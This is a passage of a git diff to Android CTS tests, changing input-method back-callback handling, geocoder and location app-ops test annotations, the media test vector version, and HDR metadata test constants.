mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY)); } /** diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java index 65465b27895..8dc33b1f745 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java @@ -59,6 +59,7 @@ import android.app.AlertDialog; import android.app.Instrumentation; import android.content.Context; import android.content.pm.PackageManager; +import android.content.res.Resources; import android.os.Bundle; import android.os.SystemClock; import android.platform.test.annotations.Presubmit; @@ -226,6 +227,11 @@ public class WindowInsetsControllerTests extends WindowManagerTestBase { final Instrumentation instrumentation = getInstrumentation(); assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()), nullValue()); + final Resources resources = instrumentation.getContext().getResources(); + final boolean isHideNavBarForKeyboardEnabled = resources.getBoolean( + resources.getIdentifier("config_hideNavBarForKeyboard", "bool", "android")); + assumeFalse("Device is configured to not show navigation bar for keyboard", + isHideNavBarForKeyboardEnabled); final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this); final ImeEventStream stream = imeSession.openEventStream(); final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java index 5dc7ffe1dbd..208d94fc0bd 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java @@ -17,6 +17,7 @@ package android.server.wm.intent; import android.app.Activity; +import android.content.Intent; import android.os.Bundle; /** @@ -40,6 +41,13 @@ public class Activities { } public static class RegularActivity extends BaseActivity { + public boolean mIsOnNewIntentCalled = false; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + mIsOnNewIntentCalled = true; + } } public static class SingleTopActivity extends BaseActivity { diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java index 3ffda885a4f..03988ea28af 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java @@ -1106,10 +1106,6 @@ public abstract class ActivityManagerTestBase { return sIsTablet; } - protected boolean isOperatorTierDevice() { - return hasDeviceFeature("com.google.android.tv.operator_tier"); - } - protected void waitAndAssertActivityState(ComponentName activityName, String state, String message) { mWmState.waitForActivityState(activityName, state); diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java index be709b454c6..cfc30ec673e 100644 --- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java +++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java @@ -61,6 +61,11 @@ public class ImeSettings { private static final String STRICT_MODE_ENABLED = "StrictModeEnabled"; private static final String VERIFY_CONTEXT_APIS_IN_ON_CREATE = "VerifyContextApisInOnCreate"; + /** + * Simulate the manifest flag enableOnBackInvokedCallback being true for the IME. + */ + private static final String ON_BACK_CALLBACK_ENABLED = "onBackCallbackEnabled"; + @NonNull private final PersistableBundle mBundle; @@ -182,6 +187,10 @@ public class ImeSettings { return mBundle.getBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, false); } + public boolean isOnBackCallbackEnabled() { + return mBundle.getBoolean(ON_BACK_CALLBACK_ENABLED, false); + } + static Bundle serializeToBundle(@NonNull String eventCallbackActionName, @Nullable Builder builder) { final Bundle result = new Bundle(); @@ -363,5 +372,15 @@ public class ImeSettings { mBundle.putBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, enabled); return this; } + + /** + * Sets whether the IME's + * {@link android.content.pm.ApplicationInfo#isOnBackInvokedCallbackEnabled()} + * should be set to {@code true}. + */ + public Builder setOnBackCallbackEnabled(boolean enabled) { + mBundle.putBoolean(ON_BACK_CALLBACK_ENABLED, enabled); + return this; + } } } diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java index fc4c05e31a2..528da58c7b7 100644 --- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java +++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java @@ -426,10 +426,6 @@ public final class MockIme extends InputMethodService { return e; } } - case "setEnableOnBackInvokedCallback": - boolean isEnabled = command.getExtras().getBoolean("isEnabled"); - getApplicationInfo().setEnableOnBackInvokedCallback(isEnabled); - return ImeEvent.RETURN_VALUE_UNAVAILABLE; case "getDisplayId": return getDisplay().getDisplayId(); case "verifyLayoutInflaterContext": @@ -679,6 +675,10 @@ public final class MockIme extends InputMethodService { .build()); } + if (mSettings.isOnBackCallbackEnabled()) { + getApplicationInfo().setEnableOnBackInvokedCallback(true); + } + getTracer().onCreate(() -> { super.onCreate(); mHandlerThread.start(); diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java index ccd8659e3de..8855dee537b 100644 --- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java +++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java @@ -32,7 +32,7 @@ public final class Watermark { * * <p>See Bug 174534092 about why we ended up having this.</p> */ - private static final int TOLERANCE = 4; + private static final int TOLERANCE = 6; /** * A utility class that represents A8R8G8B bitmap as an integer array. diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java index ac95dc89c94..d79dccae84c 100644 --- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java +++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java @@ -51,6 +51,7 @@ import static org.junit.Assume.assumeTrue; import android.app.AlertDialog; import android.app.Instrumentation; import android.app.compat.CompatChanges; +import android.content.Context; import android.content.pm.PackageManager; import android.graphics.Color; import android.os.SystemClock; @@ -245,27 +246,38 @@ public class KeyboardVisibilityControlTest extends EndToEndImeTestBase { } private void verifyHideImeBackPressed( - boolean appRequestsLegacy, boolean imeRequestsLegacy) throws Exception { + boolean appRequestsBackCallback, boolean imeRequestsBackCallback) throws Exception { final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); - final InputMethodManager imm = InstrumentationRegistry.getInstrumentation() - .getTargetContext().getSystemService(InputMethodManager.class); + final Context context = instrumentation.getTargetContext(); + final InputMethodManager imm = context.getSystemService(InputMethodManager.class); + + // Whether 'OnBackInvokedCallback' or 'onBackPressed' (legacy back) is used is defined by + // the 'enableOnBackInvokedCallback' flag in the Application manifest. + // Registering a callback is only authorized if the flag is set to true. Since the + // WindowOnBackDispatcher is created at the same time as the ViewRootImpl, for test purpose, + // we need to manually set the flag on ApplicationInfo before the window is created which + // happens during the MockIme creation and TestActivity creation. try (MockImeSession imeSession = MockImeSession.create( instrumentation.getContext(), instrumentation.getUiAutomation(), - new ImeSettings.Builder())) { + new ImeSettings.Builder() + .setOnBackCallbackEnabled(imeRequestsBackCallback) + )) { final ImeEventStream stream = imeSession.openEventStream(); final String marker = getTestMarker(); + + if (appRequestsBackCallback) { + context.getApplicationInfo().setEnableOnBackInvokedCallback(true); + } + final EditText editText = launchTestActivity(marker); final TestActivity testActivity = (TestActivity) editText.getContext(); - if (appRequestsLegacy) { - testActivity.getApplicationInfo().setEnableOnBackInvokedCallback(true); + + if (!appRequestsBackCallback) { testActivity.setIgnoreBackKey(true); } - if (imeRequestsLegacy) { - imeSession.callSetEnableOnBackInvokedCallback(true); - } expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT); @@ -296,22 +308,26 @@ public class KeyboardVisibilityControlTest extends EndToEndImeTestBase { @Test public void testHideImeAfterBackPressed_legacyAppLegacyIme() throws Exception { - verifyHideImeBackPressed(true /* appRequestsLegacy */, true /* imeRequestsLegacy */); + verifyHideImeBackPressed(false/* appRequestsBackCallback */, + false/* imeRequestsBackCallback */); } @Test public void testHideImeAfterBackPressed_migratedAppLegacyIme() throws Exception { - verifyHideImeBackPressed(false /* appRequestsLegacy */, true /* imeRequestsLegacy */); + verifyHideImeBackPressed(true/* appRequestsBackCallback */, + false/* imeRequestsBackCallback */); } @Test public void testHideImeAfterBackPressed_migratedAppMigratedIme() throws Exception { - verifyHideImeBackPressed(false /* appRequestsLegacy */, false /* imeRequestsLegacy */); + verifyHideImeBackPressed(true/* appRequestsBackCallback */, + true/* imeRequestsBackCallback */); } @Test public void testHideImeAfterBackPressed_legacyAppMigratedIme() throws Exception { - verifyHideImeBackPressed(true /* appRequestsLegacy */, false /* imeRequestsLegacy */); + verifyHideImeBackPressed(false/* appRequestsBackCallback */, + true/* imeRequestsBackCallback */); } @Test diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java index 8cc0b8efb54..c098ad0ecf5 100644 --- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java +++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java @@ -54,6 +54,7 @@ import androidx.test.filters.FlakyTest; import androidx.test.platform.app.InstrumentationRegistry; import com.android.compatibility.common.util.AdoptShellPermissionsRule; +import com.android.compatibility.common.util.ApiTest; import com.android.cts.mockime.ImeEventStream; import com.android.cts.mockime.ImeSettings; import com.android.cts.mockime.MockImeSession; @@ -147,6 +148,10 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { } @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting", + "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"}) public void testHandwritingStartAndFinish() throws Exception { final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class); try (MockImeSession imeSession = MockImeSession.create( @@ -157,13 +162,13 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final String marker = getTestMarker(); final EditText editText = launchTestActivity(marker); + expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); // Touch down with a stylus final int x = 10; final int y = 10; TestUtils.injectStylusDownEvent(editText, x, y); - expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); notExpectEvent( stream, editorMatcher("onStartInputView", marker), @@ -209,6 +214,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { * @throws Exception */ @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStylusMotionEvent", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"}) public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception { testHandwritingStylusEvents(false /* verifyOnInkView */); } @@ -219,6 +227,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { * @throws Exception */ @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStylusMotionEvent", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"}) public void testHandwritingStylusEvents_dispatchToInkView() throws Exception { testHandwritingStylusEvents(false /* verifyOnInkView */); } @@ -234,6 +245,7 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final String marker = getTestMarker(); final EditText editText = launchTestActivity(marker); + expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); final List<MotionEvent> injectedEvents = new ArrayList<>(); // Touch down with a stylus @@ -241,7 +253,6 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final int startY = 10; injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY)); - expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); notExpectEvent( stream, editorMatcher("onStartInputView", marker), diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java index 08ddca145d9..2baa2f1d3be 100644 --- a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java +++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java @@ -33,10 +33,12 @@ import android.content.Intent; import android.content.pm.PackageManager.ResolveInfoFlags; import android.location.Geocoder; import android.location.Geocoder.GeocodeListener; +import android.platform.test.annotations.AppModeFull; import androidx.test.core.app.ApplicationProvider; import androidx.test.ext.junit.runners.AndroidJUnit4; +import com.android.compatibility.common.util.ApiTest; import com.android.compatibility.common.util.RetryRule; import org.junit.Before; @@ -73,6 +75,8 @@ public class GeocoderTest { } } + @ApiTest(apis = "android.location.Geocoder#getFromLocation") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocation() { assumeTrue(Geocoder.isPresent()); @@ -82,6 +86,8 @@ public class GeocoderTest { verify(listener, timeout(10000)).onGeocode(anyList()); } + @ApiTest(apis = "android.location.Geocoder#getFromLocation") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocation_sync() throws Exception { assumeTrue(Geocoder.isPresent()); @@ -89,6 +95,8 @@ public class GeocoderTest { mGeocoder.getFromLocation(60, 30, 5); } + @ApiTest(apis = "android.location.Geocoder#getFromLocation") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocation_badInput() { GeocodeListener listener = mock(GeocodeListener.class); @@ -102,6 +110,8 @@ public class GeocoderTest { () -> mGeocoder.getFromLocation(10, 181, 5, listener)); } + @ApiTest(apis = "android.location.Geocoder#getFromLocationName") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocationName() { assumeTrue(Geocoder.isPresent()); @@ -111,6 +121,8 @@ public class GeocoderTest { verify(listener, timeout(10000)).onGeocode(anyList()); } + @ApiTest(apis = "android.location.Geocoder#getFromLocationName") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocationName_sync() throws Exception { assumeTrue(Geocoder.isPresent()); @@ -118,6 +130,8 @@ public class GeocoderTest { mGeocoder.getFromLocationName("Dalvik,Iceland", 5); } + @ApiTest(apis = "android.location.Geocoder#getFromLocationName") + @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps") @Test public void testGetFromLocationName_badInput() { GeocodeListener listener = mock(GeocodeListener.class); diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java index a70065cce07..c40605282da 100644 --- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java +++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java @@ -34,6 +34,8 @@ import android.os.UserHandle; import androidx.test.InstrumentationRegistry; +import com.android.compatibility.common.util.ApiTest; + import org.junit.Assert; import org.junit.Before; import org.junit.Test; @@ -54,6 +56,11 @@ public class LocationDisabledAppOpsTest { } @Test + @ApiTest(apis = { + "android.location.LocationManager#setLocationEnabledForUser", + "android.app.AppOpsManager#noteOpNoThrow", + "android.app.AppOpsManager#checkOpNoThrow", + }) public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() { PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist(); @@ -85,7 +92,8 @@ public class LocationDisabledAppOpsTest { mode[0] = mAom.noteOpNoThrow( OPSTR_FINE_LOCATION, ai.uid, ai.packageName); }); - if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) { + if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName) + && !mLm.isProviderPackage(null, pi.packageName, null)) { bypassedNoteOps.add(pi.packageName); } @@ -95,7 +103,8 @@ public class LocationDisabledAppOpsTest { mode[0] = mAom .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName); }); - if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) { + if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName) + && !mLm.isProviderPackage(null, pi.packageName, null)) { bypassedCheckOps.add(pi.packageName); } diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml index 6dc463130a9..588ddf8dc2a 100644 --- a/tests/media/AndroidTest.xml +++ b/tests/media/AndroidTest.xml @@ -26,7 +26,7 @@ </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> - <option name="media-folder-name" value="CtsMediaV2TestCases-2.3" /> + <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" /> <option name="dynamic-config-module" value="CtsMediaV2TestCases" /> </target_preparer> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml index 74f76c54324..72f13e0adce 100644 --- a/tests/media/DynamicConfig.xml +++ b/tests/media/DynamicConfig.xml @@ -1,5 +1,5 @@ <dynamicConfig> <entry key="media_files_url"> - <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip</value> + <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value> </entry> </dynamicConfig> diff --git a/tests/media/README.md b/tests/media/README.md index 00fd0c15aad..525379c3496 100644 --- a/tests/media/README.md +++ b/tests/media/README.md @@ -3,7 +3,7 @@ Current folder comprises of files necessary for testing media extractor, media m The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework. -The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory. +The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory. All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements. All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements. diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh index df67e307782..d7e5d8893e5 100755 --- a/tests/media/copy_media.sh +++ b/tests/media/copy_media.sh @@ -17,7 +17,7 @@ ## script to install mediav2 test files manually adbOptions=" " -resLabel=CtsMediaV2TestCases-2.3 +resLabel=CtsMediaV2TestCases-2.4 srcDir="/tmp/$resLabel" tgtDir="/sdcard/test" usage="Usage: $0 [-h] [-s serial]" diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java index f03fa90bb0d..efa8441b2ab 100644 --- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java +++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java @@ -135,9 +135,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4", "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL}, {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4", - "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL}, + "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL}, {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4", - "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL}, + "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4", "bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL}, {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4", diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java index 5f9aa09c891..e38094cb25b 100644 --- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java +++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java @@ -27,6 +27,8 @@ import android.view.Display; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.ApiTest; + import org.junit.Assert; import org.junit.Assume; import org.junit.Ignore; @@ -95,9 +97,17 @@ public class CodecInfoTest { * default 10-bit profiles, those are excluded from this test. */ @Test + // TODO (b/228237404) Remove the following once there is a reliable way to query HDR + // display capabilities at native level, till then limit the test to vendor codecs + @NonMediaMainlineTest + @ApiTest(apis = "MediaCodecInfo.CodecCapabilities#profileLevels") public void testHDRDisplayCapabilities() { Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T); + Assume.assumeTrue("Test needs VNDK Android 13", VNDK_IS_AT_LEAST_T); Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/")); + // TODO (b/228237404) Remove the following once there is a reliable way to query HDR + // display capabilities at native level, till then limit the test to vendor codecs + Assume.assumeTrue("Test is restricted to vendor codecs", isVendorCodec(mCodecName)); int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType); int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType); @@ -158,10 +168,11 @@ public class CodecInfoTest { .noneMatch(x -> x == COLOR_FormatSurface)); } - // For devices launching with Android T, if a codec supports an HDR profile, it must - // advertise P010 support + // For devices launching with Android T, if a codec supports an HDR profile and device + // supports HDR display, it must advertise P010 support int[] HdrProfileArray = mProfileHdrMap.get(mMediaType); - if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) { + if (FIRST_SDK_IS_AT_LEAST_T && VNDK_IS_AT_LEAST_T + && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) { for (CodecProfileLevel pl : caps.profileLevels) { if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) { assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," + diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java index 0368d882d36..9d1d839c47d 100644 --- a/tests/media/src/android/mediav2/cts/CodecTestBase.java +++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java @@ -30,7 +30,9 @@ import android.media.MediaCodecInfo.CodecProfileLevel; import android.media.MediaCodecList; import android.media.MediaExtractor; import android.media.MediaFormat; +import android.media.MediaMuxer; import android.os.Build; +import android.os.Bundle; import android.os.PersistableBundle; import android.os.SystemProperties; import android.util.Log; @@ -74,6 +76,7 @@ import com.android.compatibility.common.util.MediaUtils; import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface; import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible; import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010; +import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_HdrEditing; import static android.media.MediaCodecInfo.CodecProfileLevel.*; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; @@ -589,17 +592,13 @@ class OutputManager { abstract class CodecTestBase { public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q; public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R); - // Checking for CODENAME helps in cases when build version on the development branch isn't - // updated yet but CODENAME is updated. public static final boolean IS_AT_LEAST_T = - ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) || - ApiLevelUtil.codenameEquals("Tiramisu"); - // TODO (b/223868241) Update the following to check for Build.VERSION_CODES.TIRAMISU once - // TIRAMISU is set correctly + ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU); public static final boolean FIRST_SDK_IS_AT_LEAST_T = - ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2); + ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU); public static final boolean VNDK_IS_AT_LEAST_T = - SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2; + SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU; + public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported(); private static final String LOG_TAG = CodecTestBase.class.getSimpleName(); enum SupportClass { CODEC_ALL, // All codecs must support @@ -607,30 +606,14 @@ abstract class CodecTestBase { CODEC_DEFAULT, // Default codec must support CODEC_OPTIONAL // Codec support is optional } + + static final ArrayList<String> HDR_INFO_IN_BITSTREAM_CODECS = new ArrayList<>(); static final String HDR_STATIC_INFO = - "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01"; - static final String[] HDR_DYNAMIC_INFO = new String[]{ - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - }; - boolean mTestDynamicMetadata = false; + "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; + static final String HDR_STATIC_INCORRECT_INFO = + "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; + static final HashMap<Integer, String> HDR_DYNAMIC_INFO = new HashMap<>(); + static final HashMap<Integer, String> HDR_DYNAMIC_INCORRECT_INFO = new HashMap<>(); static final String CODEC_PREFIX_KEY = "codec-prefix"; static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix"; static final String MIME_SEL_KEY = "mime-sel"; @@ -786,6 +769,45 @@ abstract class CodecTestBase { mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_PROFILES); mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_PROFILES); mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES); + + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AV1); + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AVC); + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_HEVC); + + HDR_DYNAMIC_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + + + HDR_DYNAMIC_INCORRECT_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e 